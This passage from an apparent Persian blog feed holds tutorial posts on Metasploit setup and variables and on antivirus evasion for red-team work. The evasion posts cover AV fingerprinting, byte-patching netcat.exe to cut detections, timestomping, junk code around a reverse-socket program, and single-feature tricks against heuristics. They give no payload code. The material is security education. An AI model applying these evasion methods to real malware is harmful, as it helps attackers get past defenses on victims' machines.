کنید؛ همان‌طور که در اسکرین‌شات زیر نشان داده شده است.متغیرها در Metasploitبرای بیشتر اکسپلویت‌هایی که در چارچوب Metasploit استفاده می‌کنیم، لازم است مقادیری را برای برخی از متغیرها تنظیم کنیم. در ادامه، برخی از رایج‌ترین و مهم‌ترین متغیرها در Metasploit Framework آورده شده‌اند.نام متغیرLHOSTتوضیح متغیرمیزبان محلی: این متغیر شامل آدرس IP سیستم مهاجم است؛ یعنی آدرس IP سیستمی که اکسپلویت از آن آغاز می‌شود.نام متغیرLPORTتوضیح متغیرپورت محلی: این متغیر شامل شماره پورت (محلی) سیستم مهاجم است. این مورد معمولاً زمانی لازم است که انتظار داریم اکسپلویت یک شل معکوس (Reverse Shell) به ما بدهد.نام متغیرRHOST / RHOSTSتوضیح متغیرمیزبان راه‌دور: این متغیر شامل آدرس IP سیستم هدف ما است.اگر بخواهیم یک اکسپلویت را به‌صورت هم‌زمان علیه چندین هدف اجرا کنیم، می‌توانیم از RHOSTS استفاده کنیم. برای مثال:RHOSTS 192.168.0.1/24همچنین می‌توان یک فایل کامل شامل IP اهداف را به متغیر RHOSTS داد. برای مثال:RHOSTS file:///opt/targets.txtنام متغیرRPORTتوضیح متغیرپورت راه‌دور: این متغیر شامل شماره پورتی روی سیستم هدف است که قصد حمله/اکسپلویت آن را داریم. برای مثال، برای اکسپلویت یک آسیب‌پذیری FTP روی سیستم هدف، مقدار RPORT برابر با 21 تنظیم می‌شود.اکنون که متغیرهای مختلف را بررسی کردیم، بیایید نگاهی به برخی از دستورات رایج برای مقداردهی به متغیرها بیندازیم.• دستور get:دستور get برای دریافت مقدار ذخیره‌شده در یک متغیر محلی مشخص در چارچوب Metasploit استفاده می‌شود.برای مثال، ممکن است بخواهید آدرس IP سیستم هدفی را که برای یک اکسپلویت خاص تنظیم کرده‌اید مشاهده کنید.نحوۀ استفاده:msf&gt; get• دستور getg:دستور getg بسیار شبیه به دستور get است، با این تفاوت که مقدار ذخیره‌شده در متغیرهای سراسری (Global Variables) را برمی‌گرداند.نحوۀ استفاده:msf&gt; getg• دستورات set و setg:دستور set برای اختصاص دادن یک مقدار جدید به یکی از متغیرهای محلی (Local) در چارچوب Metasploit استفاده می‌شود (مانند RHOST، RPORT، LHOST و LPORT). اما مقدار تنظیم‌شده با دستور set فقط برای همان نشست/نمونۀ فعلی معتبر است.در مقابل، دستور setg یک مقدار جدید را به متغیر سراسری (Global) اختصاص می‌دهد و این مقدار به‌صورت دائمی ذخیره می‌شود تا هر زمان که لازم بود دوباره قابل استفاده باشد.نحوۀ استفاده:msf&gt; set &lt;VARIABLE&gt; &lt;VALUE&gt;
msf&gt; setg &lt;VARIABLE&gt; &lt;VALUE&gt; • دستورات unset و unsetg:دستور unset مقداری را که قبلاً با دستور set در یک متغیر محلی (Local) ذخیره شده است، پاک می‌کند.دستور unsetg نیز مقداری را که قبلاً با دستور setg در یک متغیر سراسری (Global) ذخیره شده است، حذف می‌کند.نحوۀ استفاده:msf&gt; unset &lt;VARIABLE&gt;msf&gt; unsetg &lt;VARIABLE&gt; به‌روزرسانی Metasploit FrameworkTelegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Fri, 02 Jan 2026 10:48:47 +0330</pubDate>
            </item>
                    <item>
                <title>متاسپلویت قسمت دوم(آماده کردن ابزار):</title>
                <link>https://virgool.io/@m_14047363/%D9%85%D8%AA%D8%A7%D8%B3%D9%BE%D9%84%D9%88%DB%8C%D8%AA-%D9%82%D8%B3%D9%85%D8%AA-%D8%AF%D9%88%D9%85%D8%A2%D9%85%D8%A7%D8%AF%D9%87-%DA%A9%D8%B1%D8%AF%D9%86-%D8%A7%D8%A8%D8%B2%D8%A7%D8%B1-k1puav5fnpkb</link>
                <description>مرحله ۱: آپدیت سیستمsudo apt-get update مرحله ۲: نصب Dockerروی کالی، پکیج رسمی Docker داخل ریپو هست:sudo apt install -y docker.ioمرحله ۳: فعال و استارت کردن سرویس Dockersudo systemctl start dockersudo systemctl enable dockerبررسی وضعیت:sudo systemctl status dockerباید ببینی:Active: active (running)مرحله ۴: تست نصب Dockerdocker --versionیا تست عملی:sudo docker run hello-worldاگر پیام Hello World اومد، Docker سالم نصب شده.راه‌اندازی سیستم عامل آسیب‌پذیر در یک ماشین مجازیمتاسپلویت یک فریم‌ورک قدرتمند برای تست نفوذ است که اگر به‌صورت کنترل‌نشده استفاده شود، می‌تواند باعث آسیب احتمالی به سیستم هدف شود. به‌منظور یادگیری و تمرین با متاسپلویت، قطعاً نباید از آن روی هیچ سیستم عملیاتیِ واقعی که مجوز رسمی برای آن نداریم استفاده کنیم. با این حال، می‌توانیم مهارت‌های تازه کسب‌شده‌ی متاسپلویت را در محیط مجازیِ شخصی خود تمرین کنیم؛ محیطی که عمداً آسیب‌پذیر ساخته شده است.این کار از طریق یک سیستم مبتنی بر لینوکس به نام Metasploitable امکان‌پذیر است که دارای آسیب‌پذیری‌های ساده و متعددی، از سطح سیستم‌عامل تا سطح برنامه‌ها، می‌باشد. Metasploitable یک ماشین مجازی آماده‌به‌استفاده است که می‌توان آن را از مسیر زیر دانلود کرد:https://sourceforge.net/projects/metasploitable/files/Metasploitable2/پس از دانلود، برای اجرای این ماشین مجازی باید VMPlayer یا VMware Workstation روی سیستم شما نصب شده باشد.پس از بوت شدن ماشین مجازی، می‌توانید با استفاده از اطلاعات کاربری زیر وارد آن شوید:نام کاربری: msfadminرمز عبور: msfadminمی‌توانیم بعداً از این ماشین مجازی برای تمرین مهارت‌هایی که در این کتاب یاد گرفته‌ایم استفاده کنیم.سیستم عامل Metasploitable 2 یک توزیع لینوکسی عالی است که تعداد زیادی آسیب‌پذیری برای تمرین دارد. با این حال، این یک سیستم‌عامل کامل مبتنی بر لینوکس است و برای اجرا منابع قابل‌توجهی مصرف می‌کند.Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Fri, 02 Jan 2026 09:51:38 +0330</pubDate>
            </item>
                    <item>
                <title>متاسپلویت قسمت اول(آماده کردن ابزار):</title>
                <link>https://virgool.io/@m_14047363/%D9%85%D8%AA%D8%A7%D8%B3%D9%BE%D9%84%D9%88%DB%8C%D8%AA-%D9%82%D8%B3%D9%85%D8%AA-%D8%A7%D9%88%D9%84%D8%A2%D9%85%D8%A7%D8%AF%D9%87-%DA%A9%D8%B1%D8%AF%D9%86-%D8%A7%D8%A8%D8%B2%D8%A7%D8%B1-wjju1tlugp0h</link>
                <description>ابزار NMAP بطور پیشفرض بر روی سیستم عامل کالی نصب هست.برای نصب Nessus باید مراحل زیر رو اجرا کنید:(همچنین توجه کنید سرویس چطور راه اندازی میشود.)در صورت مشاهده صفحه زیر یعنی سرویس به درستی نصب و راه اندازی شد.آرمیتیج (Armitage)برای نصب آن در کالی مسیر زیر رو در نظر میگیریم:sudo apt updatesudo apt install armitage -yدر صورت درست نصب شدن بصورت زیر قابل دسترسی است:در صورت صحیح بودن عملیات ها عکس زیر نمایش داده میشود.Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Thu, 01 Jan 2026 16:23:28 +0330</pubDate>
            </item>
                    <item>
                <title>آنتی ویروس قسمت هفتم:</title>
                <link>https://virgool.io/@m_14047363/%D8%A2%D9%86%D8%AA%DB%8C-%D9%88%DB%8C%D8%B1%D9%88%D8%B3-%D9%82%D8%B3%D9%85%D8%AA-%D9%87%D9%81%D8%AA%D9%85-knrvsanon10y</link>
                <description>تکنیک‌های دور زدن آنتی‌ویروس در عملیات‌های رد تیمدر این فصل، با نحوهٔ استفاده از تکنیک‌های دور زدن آنتی‌ویروس در دنیای واقعی آشنا خواهید شد. همچنین تفاوت بین تست نفوذ (Penetration Testing) و رد تیمینگ (Red Teaming)، اهمیت هر یک، و نحوهٔ فینگرپرینت‌کردن نرم‌افزارهای آنتی‌ویروس به‌عنوان بخشی از یک حملهٔ بدافزاری مرحله‌محور را یاد خواهید گرفت.پس از آن‌که پژوهش‌های خود را تکمیل کردیم و تکنیک‌های دور زدن آنتی‌ویروس را در یک محیط آزمایشگاهی شناسایی کردیم، می‌خواهیم استفاده از آن‌ها را به دنیای واقعی منتقل کنیم؛ برای مثال، در یک عملیات رد تیم.در این فصل، موضوعات زیر بررسی خواهند شد:• عملیات رد تیم چیست؟• دور زدن آنتی‌ویروس در عملیات‌های رد تیم• فینگرپرینت‌کردن نرم‌افزارهای آنتی‌ویروسعملیات رد تیم چیست؟پیش از آن‌که بفهمیم رد تیم چیست و هدف اصلی آن چیست، ابتدا لازم است درک کنیم تست نفوذ چیست که به اختصار «پنتست» (Pentest) نامیده می‌شود.پنتست یک حملهٔ کنترل‌شده و هدفمند به دارایی‌های مشخص یک سازمان است. برای مثال، اگر سازمانی قابلیت جدیدی را در برنامهٔ موبایل خود منتشر کند، پیش از پیاده‌سازی آن در محیط عملیاتی (Production)، می‌خواهد امنیت برنامه را بررسی کرده و جنبه‌های دیگری مانند الزامات و ملاحظات مقرراتی را نیز در نظر بگیرد.البته تست نفوذ فقط روی برنامه‌های موبایل انجام نمی‌شود، بلکه روی وب‌سایت‌ها، زیرساخت شبکه و موارد دیگر نیز اجرا می‌گردد.هدف اصلی یک تست نفوذ، ارزیابی دارایی‌های سازمان برای یافتن هرچه بیش‌تر آسیب‌پذیری‌ها است. در تست نفوذ، بهره‌برداری عملی به‌همراه ارائهٔ اثبات مفهوم (PoC) نشان می‌دهد که سازمان آسیب‌پذیر است و در نتیجه یکپارچگی و امنیت اطلاعات آن می‌تواند تحت تأثیر قرار گیرد. در پایان تست نفوذ، گزارشی تهیه می‌شود که شامل تمام آسیب‌پذیری‌های کشف‌شده است و بر اساس شدت ریسک—from کم تا بحرانی—اولویت‌بندی شده و سپس به مشتری ارائه می‌شود.همچنین مهم است بدانیم که هدف تست نفوذ، کشف آسیب‌پذیری‌های جدید و افشانشده نیست، زیرا این موضوع در پروژه‌های پژوهش آسیب‌پذیری انجام می‌شود.در رد تیم، هدف متفاوت است. زمانی که یک شرکت قصد انجام عملیات رد تیم را دارد، می‌خواهد بداند آیا در معرض نفوذ قرار می‌گیرد یا خیر؛ چه از طریق یک آسیب‌پذیری در یکی از سرورهای در معرض دید عمومی، چه از طریق حملات مهندسی اجتماعی، یا حتی در نتیجهٔ یک رخنهٔ امنیتی توسط فردی که خود را به‌جای یک تأمین‌کنندهٔ ثالث جا زده و یک حافظهٔ USB از پیش آلوده به بدافزاری خاص را وارد محیط کرده است. در عملیات رد تیم، داده‌های مهم و حساس استخراج می‌شوند، اما این کار به‌صورت قانونی انجام می‌گیرد.یک رد تیم واقعی هیچ‌گونه محدودیتی ندارد.اکنون که درک کردیم رد تیم چیست، بیایید به بحث دور زدن نرم‌افزارهای آنتی‌ویروس در عملیات‌های رد تیم بپردازیم.دور زدن آنتی‌ویروس در عملیات‌های رد تیمدور زدن نرم‌افزارهای آنتی‌ویروس در مسیر حرفه‌ای شما هنگام انجام عملیات‌های رد تیم مزایای زیادی دارد. برای استفادهٔ درست از این دانش ارزشمند، باید بدانید روی کدام نقطهٔ پایانی (Endpoint) قصد اجرای دور زدن را دارید و از چه تکنیک‌هایی استفاده خواهید کرد.هنگام انجام عملیات رد تیم روی یک شرکت، یکی از اهداف اصلی استخراج اطلاعات حساس از سازمان است. برای انجام این کار، ابتدا باید به نوعی به سازمان دسترسی پیدا کنیم. برای مثال، اگر سازمان از Microsoft 365 استفاده می‌کند، استخراج اطلاعات می‌تواند با استفاده از یک صفحهٔ فیشینگ ساده برای کارکنان شرکت، اتصال به یکی از حساب‌های کاربری آن‌ها و سرقت اطلاعاتی که از قبل در فضای ابری قرار دارند انجام شود.اما همیشه این‌گونه نیست. امروزه بسیاری از شرکت‌ها همچنان اطلاعات داخلی خود را در شبکهٔ محلی (LAN) ذخیره می‌کنند—برای مثال، روی سرورهای Server Message Block ‏(SMB)—و ما به‌عنوان هکر باید با این شرایط روبه‌رو شویم و تکنیک نفوذ را متناسب با وضعیت موجود تطبیق دهیم.وقتی یک نقطهٔ پایانی را به خطر می‌اندازیم و تلاش می‌کنیم آن را با نرم‌افزار مخرب آلوده کنیم، در اغلب موارد نمی‌دانیم چه آنتی‌ویروسی روی آن در حال اجرا است. از آن‌جا که نمی‌دانیم چه نرم‌افزار آنتی‌ویروسی روی نقاط پایانی سازمان هدف پیاده‌سازی شده است، نمی‌دانیم باید از کدام تکنیک استفاده کنیم؛ زیرا تکنیکی که برای دور زدن یک آنتی‌ویروس خاص کار می‌کند، احتمالاً برای دور زدن آنتی‌ویروسی دیگر مؤثر نخواهد بود.به همین دلیل است که باید روی نقطهٔ پایانی، فرایند فینگرپرینت‌کردن آنتی‌ویروس را انجام دهیم. پیش از آن‌که نقطهٔ پایانی را با نرم‌افزار مخرب آلوده کنیم، باید آن را با نرم‌افزارهای متفاوتی مورد بررسی قرار دهیم؛ نرم‌افزارهایی که مرحلهٔ اول حملهٔ ما را تشکیل می‌دهند، همان‌طور که در نمودار زیر نشان داده شده است:هدف مرحلهٔ اول حملهٔ بدافزاری، انجام شناسایی و اطلاع‌رسانی به ما دربارهٔ این است که چه نرم‌افزار آنتی‌ویروسی روی نقطهٔ پایانی قربانی نصب شده است. پیش‌تر، در مرحلهٔ جمع‌آوری اطلاعات اولیه، دیدیم که نرم‌افزارهای آنتی‌ویروس مقادیر رجیستری و سرویس‌هایی اضافه می‌کنند، پوشه‌هایی با نام آنتی‌ویروس ایجاد می‌کنند و موارد دیگری از این دست. بنابراین، ما دقیقاً از همین قابلیت‌ها استفاده می‌کنیم تا مشخص کنیم کدام نرم‌افزار آنتی‌ویروس روی سیستم قربانی در حال اجرا است.اکنون که درک و دید مناسبی از تست نفوذ و رد تیم به دست آورده‌ایم، می‌توانیم به بخش بعدی برویم؛ جایی که یاد خواهیم گرفت چگونه نرم‌افزارهای آنتی‌ویروس را روی نقاط پایانی مبتنی بر ویندوزِ هدف فینگرپرینت کنیم.فینگرپرینت‌کردن نرم‌افزار آنتی‌ویروسفینگرپرینت‌کردن آنتی‌ویروس فرایندی است برای جست‌وجو و شناسایی نرم‌افزار آنتی‌ویروس روی یک نقطهٔ پایانیِ هدف، بر اساس ثوابت قابل شناسایی، مانند موارد زیر:• نام سرویس‌ها• نام پردازه‌ها• نام دامنه‌ها• کلیدهای رجیستری• آثار به‌جامانده در فایل‌سیستمجدول زیر به شما کمک می‌کند تا فینگرپرینت‌کردن نرم‌افزار آنتی‌ویروس را روی نقطهٔ پایانی، بر اساس نام سرویس‌ها و پردازه‌های آنتی‌ویروس انجام دهید:توجه داشته باشید لازم نیست فقط به نام فرآیند و سرویس تکیه کنید - همچنین می توانید به نام های رجیستری و موارد دیگر تکیه کنید.Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Mon, 29 Dec 2025 16:36:36 +0330</pubDate>
            </item>
                    <item>
                <title>آنتی ویروس قسمت ششم:</title>
                <link>https://virgool.io/@m_14047363/%D8%A2%D9%86%D8%AA%DB%8C-%D9%88%DB%8C%D8%B1%D9%88%D8%B3-%D9%82%D8%B3%D9%85%D8%AA-%D8%B4%D8%B4%D9%85-uthmweyttidl</link>
                <description>سایر تکنیک‌های دور زدن آنتی‌ویروسدر این فصل، به لایه‌های عمیق‌تری از درک تکنیک‌های دور زدن آنتی‌ویروس می‌پردازیم. ابتدا شما را با کد اسمبلی x86 آشنا می‌کنیم تا بتوانید سازوکارهای درونی سیستم‌عامل‌ها، باینری‌های کامپایل‌شده و نرم‌افزارها را بهتر درک کنید. سپس مفهوم، کاربرد و تمرین مهندسی معکوس را معرفی خواهیم کرد. پس از آن، پیاده‌سازی دور زدن آنتی‌ویروس با استفاده از پچ‌کردن باینری را بررسی می‌کنیم و سپس به استفاده از کدهای زائد (Junk Code) برای دور زدن و سخت‌تر کردن تحلیل‌هایی که توسط پژوهشگران امنیتی و خود نرم‌افزارهای آنتی‌ویروس انجام می‌شود می‌پردازیم. همچنین یاد می‌گیریم چگونه با استفاده از کد PowerShell آنتی‌ویروس را دور بزنیم و با مفهوم استفاده از یک قابلیت مخرب واحد آشنا می‌شویم. در این فصل، موضوعات زیر بررسی خواهند شد:• دور زدن آنتی‌ویروس با استفاده از پچ‌کردن باینری• دور زدن آنتی‌ویروس با استفاده از کد زائد (Junk Code)• دور زدن آنتی‌ویروس با استفاده از PowerShell• دور زدن آنتی‌ویروس با استفاده از یک قابلیت مخرب واحد• قدرت ترکیب چندین تکنیک دور زدن آنتی‌ویروس• موتورهای آنتی‌ویروسی که در پژوهش ما دور زده شده‌انددور زدن آنتی ویروس با استفاده از پچ باینریراه های دیگری برای دور زدن نرم افزار آنتی ویروس به جز استفاده از کدهای جدید نوشته شده وجود دارد. همچنین می توانیم از یک فایل باینری کامپایل شده استفاده کنیم. چند تکنیک دور زدن نرم افزار آنتی ویروس وجود دارد که می تواند با کد از قبل کامپایل شده و آماده اجرا انجام شود، حتی اگر توسط موتورهای آنتی ویروس به عنوان بدافزار شناسایی شود. ما در حین انجام تحقیق برای نگارش این کتاب از دو تکنیک فرعی استفاده کرده ایم: اشکال زدایی/مهندسی معکوس زمان سنجی بیایید با جزئیات به این تکنیک ها نگاه کنیم.مقدمه ای بر اشکال زدایی / مهندسی معکوسبرای انجام مهندسی معکوس بر روی یک فایل کامپایل شده در محیط x86 اینتل، ابتدا باید معماری اسمبلی x86 را درک کنیم. زبان اسمبلی برای جایگزینی کد ماشین توسعه داده شد و به توسعه دهندگان اجازه می داد برنامه ها را راحت تر بسازند. اسمبلی یک زبان سطح پایین در نظر گرفته می شود و به همین دلیل دسترسی مستقیم به سخت افزار کامپیوتر مانند CPU دارد. با استفاده از اسمبلی، توسعه دهنده نیازی به درک و نوشتن کد ماشین ندارد. در طول سال ها، زبان های برنامه نویسی زیادی برای ساده تر کردن برنامه نویسی برای توسعه دهندگان توسعه یافته اند.گاهی اوقات، اگر ما — به‌عنوان پژوهشگران امنیتی — نتوانیم یک برنامه را دیکامپایل کنیم تا به کد منبع آن دست یابیم، لازم است از ابزاری به نام دیس‌اسمبلر (Disassembler) استفاده کنیم تا کد ماشین را به کد اسمبلی تبدیل کند.نمودار زیر روند تبدیل از کد منبع به کد اسمبلی را نشان می‌دهد:تکنیک دیباگینگ بر اساس تغییر مقادیر تکی درون پردازهٔ بارگذاری‌شده و سپس انجام پچ‌کردن روی فایل نهایی‌شده است.پیش از آن‌که وارد دیباگ‌کردن نرم‌افزارهای مخرب برای دور زدن آنتی‌ویروس شویم، مفید است که ابتدا درک کنیم مهندسی معکوس شامل چه مراحلی می‌شود.مهندسی معکوس چیست؟مهندسی معکوس فرآیند تحقیق و درک اهداف واقعی پشت یک برنامه یا هر سیستم دیگری از جمله کشف اصول مهندسی و جنبه های تکنولوژیکی آن است. در زمینه امنیت اطلاعات، از این تکنیک بیشتر برای یافتن آسیب‌پذیری‌ها در کد استفاده می‌شود. مهندسی معکوس همچنین به طور گسترده ای برای درک فعالیت های مخرب انواع مختلف بدافزار استفاده می شود. به منظور درک چگونگی مهندسی معکوس یک فایل، توضیح مختصری از چند اصل مهم ارائه خواهیم داد.استک (Stack)استک نوعی حافظه است که توسط پردازه‌های سیستم برای ذخیرهٔ مقادیری مانند متغیرها و پارامترهای توابع استفاده می‌شود. چیدمان حافظهٔ استک بر اساس اصل «آخرین ورودی، اولین خروجی» (LIFO) است؛ به این معنا که اولین مقداری که در استک ذخیره می‌شود، اولین مقداری است که از استک «خارج» (Pop) می‌شود.نمودار زیر اصل LIFO را نشان می‌دهد: عنصر دادهٔ ۵ آخرین مقداری است که روی استک قرار داده شده و بنابراین اولین عنصری است که از استک خارج می‌شود.اکنون که فهمیدیم استک چیست، بیایید به سراغ هیپ و ثبات‌های CPU برویم.هیپ (Heap)برخلاف حافظهٔ استک که خطی است، حافظهٔ هیپ حافظه‌ای «آزاد» و به‌صورت پویا تخصیص‌یافته است. حافظهٔ هیپ می‌تواند در هر زمانی تخصیص داده شود و در هر زمانی آزاد شود. این نوع حافظه عمدتاً برای اجرای برنامه‌ها در زمان اجرا (Runtime) درون سیستم‌عامل‌ها استفاده می‌شود.ثبات‌های اسمبلی x86معماری x86 چندین ثبات همه‌منظوره (GPRs) را به‌همراه تعدادی ثبات برای عملیات‌های خاص تعریف می‌کند. این مکان‌های ویژهٔ حافظه بخش جدایی‌ناپذیر CPU هستند و مستقیماً توسط پردازنده استفاده می‌شوند. در رایانه‌های امروزی، بیشتر ثبات‌ها برای کارهایی غیر از هدف اولیهٔ طراحی‌شان به کار می‌روند. برای مثال، ثبات ۳۲ بیتی ECX (یا RCX در معماری ۶۴ بیتی) معمولاً به‌عنوان شمارنده برای عملیات‌هایی مانند حلقه‌ها و مقایسه‌ها استفاده می‌شود، اما می‌تواند برای عملیات‌های دیگر نیز به کار رود. فهرست زیر کاربرد کلی هر یک از ثبات‌ها را توضیح می‌دهد:• EAX — معمولاً برای عملیات‌های حسابی استفاده می‌شود؛ در عمل به‌عنوان ناحیه‌ای از حافظه برای ذخیرهٔ مقادیر بازگشتی و اهداف دیگر نیز به کار می‌رود.• EBX — عموماً برای ذخیرهٔ آدرس‌های حافظه استفاده می‌شود.• ECX — بیشتر به‌عنوان شمارنده برای عملیات‌های حلقه و مقایسه‌ها استفاده می‌شود.• EDX — عمدتاً برای عملیات‌های تقسیم و ضرب که به حافظهٔ بیشتری برای نگه‌داری مقادیر نیاز دارند استفاده می‌شود. همچنین EDX آدرس‌های مورد استفاده برای عملیات‌های ورودی/خروجی (I/O) را ذخیره می‌کند.اندیس‌ها و اشاره‌گرهابرخی ثبات‌ها به‌عنوان اشاره‌گر به مکان‌های مشخصی استفاده می‌شوند:• ESI — اندیس مبدأ (Source Index) که عمدتاً برای انتقال داده از یک ناحیهٔ حافظه به ناحیهٔ مقصد (EDI) استفاده می‌شود.• EDI — اندیس مقصد (Destination Index) که معمولاً به‌عنوان مقصد داده‌هایی که از ناحیهٔ حافظهٔ مبدأ (ESI) منتقل می‌شوند به کار می‌رود.• ESP — به‌همراه ثبات EBP برای تعریف فریم استک استفاده می‌شود و به بالای استک اشاره می‌کند.• EBP — به‌همراه ثبات ESP برای تعریف فریم استک به کار می‌رود و به پایهٔ استک اشاره می‌کند.• EIP — به دستور بعدی که باید توسط CPU اجرا شود اشاره می‌کند.دور زدن آنتی ویروس با استفاده از پچ باینریدر مثال زیر، ما از netcat.exe استفاده کردیم که قبلاً توسط اکثر موتورهای آنتی ویروس به عنوان یک فایل مخرب امضا شده و شناسایی شده است. وقتی فایل کامپایل شده را با x32dbg باز کردیم و به نقطه ورودی فایل رسیدیم، اولین چیزی که دیدیم این بود که اولین تابع از دستور sub esp، 18 استفاده می‌کند - از رجیستر ESP کم می‌کند (همانطور که قبلا توضیح داده شد). برای اطمینان از اینکه فایل را &quot;break&quot; یا &quot;corrupt&quot; نمی کنیم، به این معنی که فایل حتی پس از ایجاد تغییرات همچنان می تواند در سیستم عامل اجرا شود، یک تغییر جزئی در کد برنامه ایجاد کردیم. ما عدد 18 را به 17 تغییر دادیم، سپس فایل را اصلاح کردیم تا به عنوان بخشی از فایل اجرایی اصلی در هارد دیسک کامپیوتر ذخیره شود. هنگامی که فایل را در VirusTotal آپلود کردیم، متوجه شدیم که با این تغییر بسیار جزئی، در واقع موفق شده ایم حدود 10 برنامه آنتی ویروس را دریافت کنیم. شناسایی آنتی ویروس از 34 به 24 کاهش یافت. از نظر تئوری، هر تغییری در محتویات یک فایل می‌تواند یک موتور آنتی ویروس ثابت دیگر را دور بزند، زیرا نمی‌دانیم هر موتور استاتیک از کدام امضا استفاده می‌کند. تصویر زیر netcat.exe اصلی را با زیر دستورالعمل نشان می دهد esp، 18:زمان سنجی تکنیک دیگری که می توانیم روی یک فایل کامپایل شده اجرا کنیم Timestomping نام دارد. این بار، ما خود فایل را ویرایش نمی کنیم، بلکه در عوض، زمان ایجاد آن را ویرایش می کنیم. یکی از راه هایی که بسیاری از موتورهای آنتی ویروس برای امضای بدافزار استفاده می کنند، تاریخ ایجاد فایل است. آنها این کار را برای انجام امضای ثابت انجام می دهند. به عنوان مثال، اگر رشته های X، Y و Z وجود داشته باشد و فایل در 15 ژانویه 2017 ایجاد شده است، سپس فایل به عنوان بدافزار از نوع خاصی شناسایی می شود.دور زدن آنتی ویروس با استفاده از کدهای junkموتورهای آنتی ویروس گاهی اوقات در منطق کد جستجو می کنند تا آن را شناسایی کنند تا بعداً آن را به عنوان نوع خاصی از بدافزار طبقه بندی کنند. برای اینکه نرم افزار آنتی ویروس نتواند در منطق کد جستجو کند، می توانیم از کد ناخواسته استفاده کنیم که به ما کمک می کند منطق کد را پیچیده تر کنیم. راه های زیادی برای استفاده از این تکنیک وجود دارد، اما رایج ترین روش ها شامل استفاده از پرش های شرطی، نام متغیرهای نامربوط و توابع خالی است. به عنوان مثال، به جای نوشتن بدافزاری که حاوی یک تابع اصلی با دو متغیر معمولی (مثلاً یک آدرس IP و یک شماره پورت) با نام متغیرهای عمومی و بدون شرط است، ترجیح داده می شود، اگر بخواهیم کد را پیچیده کنیم، سه تابع ایجاد کنیم که دو تابع خالی (استفاده نشده) هستند. در داخل تابع مخرب، ما همچنین می‌توانیم تعداد معینی از شرایط را اضافه کنیم که هرگز رخ نمی‌دهند و نام متغیرهای بی‌معنی را اضافه کنیم. نمودار مثال ساده زیر کدی را نشان می دهد که برای باز کردن یک سوکت به آدرس یک مهاجم، 192.168.10.5 طراحی شده است. در سمت راست، ما کدهای ناخواسته را اضافه کرده ایم تا برنامه اصلی را پیچیده کنیم و در عین حال همان عملکرد را تولید کنیم:علاوه بر استفاده از توابع خالی، شرایطی که هرگز اتفاق نمی‌افتند و نام‌های بی‌گناه متغیرها، می‌توانیم نرم‌افزار آنتی‌ویروس را با انجام عملیات‌های گسترده‌تر که بر روی هارد دیسک تأثیر می‌گذارد، گیج کنیم. راه‌های مختلفی برای رسیدن به این هدف وجود دارد، از جمله بارگذاری یک DLL که وجود ندارد و ایجاد مقادیر قانونی رجیستری. در اینجا یک مثال است:در این نمودار، می‌توانید شبه‌کدی ساده را ببینید که با استفاده از یک سوکت، اتصالی به سرور فرمان‌دهی و کنترل (C2) مهاجم برقرار می‌کند. در سمت چپ، کد قبل از اعمال تکنیک کد زائد (Junk Code) قرار دارد و در سمت راست، همان قابلیت پس از استفاده از تکنیک کد زائد نمایش داده شده است.نکتهٔ مهمکد زائد همچنین می‌تواند همراه با تکنیک‌هایی مانند مبهم‌سازی جریان کنترل (Control Flow Obfuscation) استفاده شود تا تحلیل را برای پژوهشگران امنیتی دشوارتر کرده و دور زدن آنتی‌ویروس را به‌طور بالقوه مؤثرتر کند.دور زدن آنتی‌ویروس با استفاده از یک قابلیت مخرب واحدیکی از مشکلات اصلی که شرکت‌های تولیدکنندهٔ نرم‌افزارهای آنتی‌ویروس باید با آن مقابله کنند، تشخیص‌های اشتباه (False Positives) است. نرم‌افزار آنتی‌ویروس نباید هر رویداد کوچک و کم‌اهمیتی را که روی سیستم رخ می‌دهد به کاربر گزارش کند. اگر چنین کاری انجام دهد، ممکن است کاربر مجبور شود آنتی‌ویروس را کنار بگذارد و به سراغ نرم‌افزار دیگری برود که هنگام استفادهٔ عادی وقفه‌های کمتری ایجاد می‌کند.برای مقابله با تشخیص‌های اشتباه، شرکت‌های آنتی‌ویروس نرخ تشخیص خود را افزایش می‌دهند. برای مثال، اگر یک فایل در موتورهای استاتیک و داینامیک امضا نشده باشد، موتور هیوریستیک وارد عمل می‌شود و به‌صورت مستقل شروع به محاسبه می‌کند که آیا فایل مخرب است یا خیر، با استفاده از پارامترهای گوناگون. برای نمونه، آنتی‌ویروس بررسی می‌کند که آیا فایل در حال باز کردن یک سوکت است، آیا اقدام به ایجاد ماندگاری (Persistence) در پوشه‌های مربوطه می‌کند، و آیا از یک سرور راه‌دور دستور دریافت می‌کند یا نه.برای مثال، ممکن است با احتمال ۷۰٪ فایل به‌عنوان مخرب شناسایی شود و نرم‌افزار آنتی‌ویروس از اجرای آن جلوگیری کند.برای استفاده از این وضعیت جهت دور زدن آنتی‌ویروس، باید یک سؤال مهم بپرسیم:آیا نرم‌افزار آنتی‌ویروس زمانی که یک فایل مخرب فقط یک قابلیت مخرب را اجرا می‌کند، هشدار صادر می‌کند؟بنابراین، پاسخ به نوع قابلیت بستگی دارد. اگر دربارهٔ قابلیتی صحبت کنیم که لزوماً مخرب محسوب نمی‌شود، آنتی‌ویروس فایل را به‌عنوان فایلی که دارای یک قابلیت مخرب است شناسایی می‌کند، اما امتیاز آن به اندازه‌ای بالا نخواهد بود که به کاربر هشدار دهد یا از اجرای فایل مخرب جلوگیری کند؛ در نتیجه، نرم‌افزار آنتی‌ویروس اجازهٔ اجرای فایل را می‌دهد.این نوع رفتار موتور هیوریستیک دقیقاً همان چیزی است که می‌توان از آن برای دور زدن نرم‌افزارهای آنتی‌ویروس استفاده کرد.قدرت ترکیب چندین تکنیک دور زدن آنتی‌ویروسنکتهٔ مهم این است که از نظر عملی، برای دور زدن یک موتور آنتی‌ویروس در دنیای واقعی، باید از ترکیبی از چندین تکنیک دور زدن استفاده کنید، نه فقط یک تکنیک واحد. حتی اگر یک تکنیک خاص بتواند از موتور استاتیک عبور کند، منطقی است که فرض کنیم موتور داینامیک و/یا هیوریستیک قادر به شناسایی فایل خواهد بود. برای مثال، می‌توان از ترکیبی از تکنیک‌های زیر برای دستیابی به یک دور زدن کامل آنتی‌ویروس استفاده 